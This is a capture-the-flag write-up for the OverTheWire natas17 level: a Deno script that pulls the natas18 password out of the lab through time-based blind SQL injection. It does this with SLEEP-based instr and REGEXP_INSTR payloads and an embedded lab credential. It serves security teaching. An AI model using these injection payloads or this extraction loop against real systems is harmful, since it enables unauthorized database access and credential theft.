OverTheWire natas 17 Solution. natas17 contains time based SQL Injection vulnerability. This javascript based deno script contains the solution to obtain the password for natas18 by manipulating time based SQL Injection

natas17.js

/**
 * Prerequisites:
 * 
 * 1. Update the Basic Authorization value
 * 2. Install deno runtime - https://docs.deno.com/runtime/getting_started/installation/
 * 
 * Command:
 * 
 * deno run --node-modules-dir=none --allow-net --allow-env natas17.js
 */

import axios from 'npm:axios';

const headers = {
    'Host': 'natas17.natas.labs.overthewire.org',
    'Authorization': 'Basic bmF0YXMxNzpFcWpISmJvN0xGTmI4dndoSGI5czc1aG9raDVURjBPQw=='
}
const baseUrl = "http://natas17.natas.labs.overthewire.org/index.php"

const alphanumeric = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let password = "";

async function natasRequest(payload, expectedTimeDelayInSeconds, char) {
    try {
        let requestStart = Date.now()
        let response = (await axios.get(`${baseUrl}?username=${payload}`, {
            headers,
        })).data
        let requestStop = Date.now()
        if ((requestStop - requestStart) >= expectedTimeDelayInSeconds) {
            return char
        } else {
            return ''
        }
    } catch (e) {
        console.error(e)
        return ''
    }
}

async function findChars(input) {
    let chars = input.split('')
    let availableChars = ""
    for (let char of chars) {
        let foundChar = await natasRequest(
            "natas18\"+AND+IF(instr(BINARY+password,\"" + char + "\")>0,SLEEP(1),1)+%23",
            1000,
            char
        )
        if (foundChar) {
            availableChars += foundChar
        }
    }
    return availableChars;
}

async function crackPassword(availableChars) {
    let chars = availableChars.split('')
    for (let j = 1; j <= 32; j++) {
        for (let char of chars) {
            let foundChar = await natasRequest(
                "natas18\"+AND+IF(REGEXP_INSTR(password,\"^" + password + char + "\",1,1,0,\"c\")%3E0,SLEEP(2),1)+%23",
                2000,
                char
            )
            if (foundChar) {
                password += foundChar;
                break
            }
        }
    }
}

async function main() {
    try {
        let availableChars = await findChars(alphanumeric);
        console.log("Available Chars Length: ", availableChars.length, "\nAvailable Characters: ", availableChars,)
        await crackPassword(availableChars);
    } catch (e) {
        console.error("Err===", e)
    }
}

main()
    .then(() => console.log("Password Length: ", password.length, "\nPassword: ", password,))
    .catch(err => console.error(err));